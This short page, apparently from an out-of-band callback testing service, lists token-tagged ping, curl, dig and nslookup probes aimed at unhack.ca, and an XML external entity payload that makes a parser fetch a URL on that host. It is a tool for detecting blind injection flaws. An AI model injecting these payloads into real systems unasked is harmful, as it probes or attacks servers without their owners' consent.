$ ping -c1 -p 00dfed2dc2b4b659fc0f210e5b083f00 unhack.ca
 
$ curl http://unhack.ca/p/dfed2dc2b4b659fc0f210e5b083f
 
$ dig dfed2dc2b4b659fc0f210e5b083f @unhack.ca
 
$ dig dfed2dc2b4b659fc0f210e5b083f.ns.unhack.ca
 
C:\> nslookup dfed2dc2b4b659fc0f210e5b083f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dfed2dc2b4b659fc0f210e5b083f">]>
    <foo>&xxe;</foo>
 
Waiting for ping...